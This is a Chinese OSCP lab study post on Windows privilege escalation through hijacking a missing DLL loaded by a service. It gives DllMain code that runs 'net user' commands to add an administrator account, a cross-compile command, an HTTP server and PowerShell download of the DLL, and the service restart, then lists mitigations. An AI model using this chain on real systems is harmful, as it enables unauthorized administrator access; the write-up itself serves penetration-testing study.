⓫⁄₁₀ ⟦ OSCP ⬖ 研记 ⟧ Windows权限提升 ➱ 动态链接库(dll)文件劫持(下)

**郑重声明:**本文所涉安全技术仅限用于合法研究与学习目的,严禁任何形式的非法利用。因不当使用所导致的一切法律与经济责任,本人概不负责。任何形式的转载均须明确标注原文出处,且不得用于商业目的。

🔋 点赞 | 能量注入 ❤️ 关注 | 信号锁定 🔔 收藏 | 数据归档 ⭐️ 评论| 保持连接💬

🌌 立即前往 👉晖度丨安全视界🚀​

​​​​

▶ 信息收集

▶ 漏洞检测
初始立足点

权限提升 ➢ Windows权限提升 ➢ 动态链接库(dll)文件劫持(下) 🔥🔥🔥
横向移动

▶ 报告/分析

▶ 教训/修复

目录

1.Windows权限提升

[1.1 Windows服务DLL劫持攻击](#1.1 Windows服务DLL劫持攻击)

[1.1.3 利用缺失DLL的服务劫持攻击实践](#1.1.3 利用缺失DLL的服务劫持攻击实践)

[1.1.3.3 恶意DLL创建与部署](#1.1.3.3 恶意DLL创建与部署)

1.附加DLL的DllMain函数概述

2.查看附件DLL代码

3.复用前文的恶意二进制文件的C代码

4.在附加DLL代码中插入恶意二进制文件的C代码

5.编译与部署dll文件

[1.1.3.4 再次重启BetaService服务(执行DLL文件)](#1.1.3.4 再次重启BetaService服务(执行DLL文件))

[1.1.4 DLL劫持提权攻击总结](#1.1.4 DLL劫持提权攻击总结)

[欢迎❤️ 点赞 | 🔔 关注 | ⭐️ 收藏 | 💬 评论](#欢迎❤️ 点赞 | 🔔 关注 | ⭐️ 收藏 | 💬 评论)


1.Windows权限提升

在渗透测试中,我们通常以非特权用户 身份获得初始立足点。但为了深入探测(如搜索敏感信息、提取密码哈希等),往往需要提升至管理员权限( 比如:使用Mimikatz提取密码哈希**),** 这个过程就是特权提升

📊 权限提升三大路径: 本文开始介绍:++动态链接库(dll)文件劫持++。

阶段 目标 关键方法
1. 枚举Windows 获取系统情报 手动搜索 + 自动化工具
2. 滥用Windows服务 攻击服务漏洞 服务配置缺陷、权限滥用
3. 利用其他组件 扩大攻击面 计划任务、系统漏洞利用

1.1 Windows服务DLL劫持攻击

"替换服务的二进制文件 "是尝试在Windows系统上提升权限的一种非常有效的方法。然而,由于普通用户通常没有权限替换这些二进制文件时,需要采用更高级的方式来利用Windows服务。

1.1.3 利用缺失DLL的服务劫持攻击实践

接前文。

1.1.3.3 恶意DLL创建与部署
1.附加DLL的DllMain函数概述

在创建DLL之前,简要回顾一下附加DLL的工作原理以及它如何引导我们执行代码。

每个DLL都有一个名为DlIMain的可选入口点函数,该函数在进程或线程附加DLL时执行。简而言之,**DIMain是DLL的"启动函数",**它用于执行 DLL加载时需要的初始化工作。

DllMain函数 通常处理++DLL加载、初始化和清理++的任务。、

当DLL被进程或线程 附加(ATTACH )/分离(DETACH)时,操作系统会自动调用此函数。

在DIlMain函数中,会看到四种常见的事件处理情况,通常通过switch或if语句来区分:

🔄 四种事件处理类型:

事件类型 触发时机 主要用途 攻击利用价值
DLL_PROCESS_ATTACH 进程首次加载DLL时 全局资源初始化 ⭐⭐⭐ 主要攻击入口
DLL_THREAD_ATTACH 新线程加载该DLL时 线程特定资源初始化 ⭐⭐ 潜在攻击点
DLL_THREAD_DETACH 线程卸载DLL时 线程资源清理 ⭐ 清理痕迹
DLL_PROCESS_DETACH 进程卸载DLL时 全局资源清理 ⭐ 后期操作

🎯 攻击利用重点:

DLL_PROCESS_ATTACH是攻击者最关注的入口点,在DLL被加载时自动执行恶意代码。因为:

  1. 自动执行:DLL被加载时立即自动运行

  2. 隐蔽性强:正常的初始化过程不易被怀疑

  3. 权限继承:以加载进程的权限执行代码

⚠️ 若无DllMain的情况:

如果DLL文件不提供DIMain入口点函数,那么:

  • 仅作为资源库:提供函数、数据供调用

  • 无自动执行代码:加载/卸载时不执行任何特定任务

  • 被动存在:完全由调用方控制使用时机


2.查看附件DLL代码

下面的示例代码来自Microsoft,概述一个包含这四种情况的基本C++ DLL。DLL代码包含了入口点函数DllMain和之前提到的这四种情况的switch语句。根据ul_reason_for_call的值,执行其中一种情况。目前,所有情况都只使用了break语句。

Microsoft提供的注释说明:DLL_PROCESS_ATTACH用于在进程加载DLL时使用。由于示例中的目标服务二进制进程尝试加载DLL,这里就是我们需要添加代码地方了

3.复用前文 的恶意二进制文件的C代码

前文中,构建恶意二进制文件的C代码在此可复用,并将其添加到C++ DLL代码中。重述C代码作用:使用system函数创建一个名为dave2的用户,并将该用户添加到本地管理员组中。

cpp 复制代码
// 复用的提权代码
system("net user dave2 Password123! /add");
system("net localgroup administrators dave2 /add");
**4.**在附加DLL代码中插入恶意二进制文件的C代码

📝 头文件添加

头文件 作用 必要性
windows.h 提供Windows API和数据类型(如BOOL) 🔴 必需,否则编译失败
stdlib.h 提供system()函数支持 🟢 可选但推荐,确保代码清晰

代码作用: 在BetaService服务启动时调用入口函数DLLMain ,在进程或线程附加DLL时调用,被加载到内存中时执行恶意代码**(添加管理员用户)。**


5.编译与部署dll文件

📊 操作步骤表:

步骤 命令/操作 目的
1. 编译DLL x86_64-w64-mingw32-gcc myDLL.cpp --shared -o myDLL.dll 生成64位Windows DLL
2. 启动传输服务 Kali:python3 -m http.server 80 建立文件下载点
3. 目标机下载 PowerShell:iwr http://<IP>/myDLL.dll -OutFile myDLL.dll 获取恶意DLL
4. 精准放置 存放到C:\Users\steve\Documents\ DLL搜索顺序第1位
5. 前置验证 net user dave2 确认目标用户不存在

①编译为.dll文件

bash 复制代码
$ x86_64-w64-mingw32-gcc myDLL.cpp --shared -o myDLL.dll

🎯 关键编译参数解析

参数 作用 重要性
--shared 生成**共享库(DLL)**而非可执行文件 🔑 核心参数
-o myDLL.dll 指定输出文件名,与缺失DLL同名 🎯 攻击必要条件
x86_64-w64-mingw32-gcc 针对64位Windows的交叉编译器 🖥️ 环境适配
myDLL.cpp 待编译的源代码文件。 myDLL.cpp是C++源代码文件,即:上面的代码。 🚀 源代码文件

②把编译的新myDLL.dll传输到目标主机

将myDLL.dll其传输到目标主机CLIENTWK220上。详见上表的步骤2、3。

注意:上表的步骤4、5。

1.把新myDLL.dll放在C:\Users\steve\Documents路径下(DLL搜索顺序1)

2.此外,使用net user命令确认系统上尚不存在dave2。


1.1.3.4 再次重启BetaService服务(执行DLL文件)

🔄 攻击触发流程:

让重新启动BetaService服务,DLL被加载到进程中,并且在DLL_PROCESS_ATTACH中执行代码:创建用户dave2作为本地Administrators 组成员。

验证项目 预期结果 实际结果 状态
DLL加载 myDLL.dll被BetaService加载 ✅ 搜索到并加载了恶意DLL ✔️ 成功
代码执行 DLL_PROCESS_ATTACH中代码执行 ✅ 创建用户dave2的命令执行 ✔️ 成功
权限提升 dave2加入Administrators组 ✅ dave2成为管理员成员 ✔️ 成功
攻击链完整 服务重启触发整个攻击流程 ✅ 全部按计划完成 🎉 完全成功

📍 放置位置策略

"第一搜索路径 + 用户可写权限 = 最高成功率"

  • 路径优先级应用程序目录(第1位)→ 确保最先被加载

  • 权限优势 :steve用户对该目录拥有完全控制权

  • 隐蔽性:放置在用户文档目录,不易引起怀疑


1.1.4 DLL劫持提权攻击总结

攻击步骤 关键发现/操作 结果/影响
🔍 侦察分析 使用Process Monitor发现BetaService尝试加载myDLL.dll 确认DLL缺失漏洞存在
🗺️ 路径分析 服务二进制位于C:\Users\steve\Documents\,这是DLL搜索顺序第一位 确认该目录用户可写,具备攻击条件
🛠️ 武器制作 编译恶意DLL并命名为myDLL.dll,植入DLL_PROCESS_ATTACH提权代码 创建自动执行的恶意载荷
📂 文件部署 将恶意DLL放置于C:\Users\steve\Documents\myDLL.dll 确保服务重启时优先加载恶意DLL
🔄 触发执行 重启BetaService服务,触发DLL加载流程 恶意代码以服务权限(SYSTEM)执行
🎯 权限提升 恶意代码创建用户dave2并加入本地管理员组 成功获得管理员权限,实现权限提升

💎 核心攻击链

bash 复制代码
发现缺失DLL → 分析可写优先路径 → 制作同名恶意DLL → 放置到搜索路径 → 重启服务触发 → 获得管理员权限

⚠️ 安全启示

  • 服务依赖管理 :确保服务安装完整,避免缺失DLL

  • 文件权限控制:严格限制用户对应用程序目录的写入权限

  • DLL加载监控:监控服务加载非系统目录DLL的行为

  • 最小权限原则:服务账户避免使用SYSTEM等高权限账户


欢迎❤️ 点赞 | 🔔 关注 | ⭐️ 收藏 | 💬 评论

每一份支持,都是我持续输出的光。

相关推荐
刘恒1234567894 分钟前
Windows 电脑文件夹手动分类指南
java·windows·python·电脑·php
Lust Dusk10 分钟前
CTFHUB靶场HTTP协议——响应包源代码
web安全·网络安全
八角Z35 分钟前
OpenClaw Windows 10 完整安装步骤细化说明
大数据·人工智能·windows·机器学习
Whoami!1 小时前
⓬⁄₈ ⟦ OSCP ⬖ 研记 ⟧ Linux权限提升 ➱ 利用替代密码实现提权
网络安全·信息安全·/etc/shadow·/etc/passwd
聚铭网络1 小时前
聚铭网络获评国家网络威胁信息汇聚共享技术平台“2025年度三级支撑单位”
网络安全
ZWZhangYu2 小时前
【LangChain专栏】LangChain Memory 核心解析
windows·microsoft·langchain
coding者在努力2 小时前
LangChain之解析器核心组件.2026年新版讲解,超详细
windows·python·机器学习·langchain·pip
十五年专注C++开发3 小时前
tiny-process-library:一个用 C++ 编写的轻量级、跨平台(支持 Windows、Linux、macOS)的进程管理库
linux·c++·windows·进程管理
安谦柔3 小时前
Windows系统电脑无法通过USB连接网络的解决方案
网络·windows
恶猫3 小时前
随机密码生成器,自动密码生成工具,高强度密码生成器—— 你的账号安全守护神
安全·网络安全·随机密码·密码生成器·帐号安全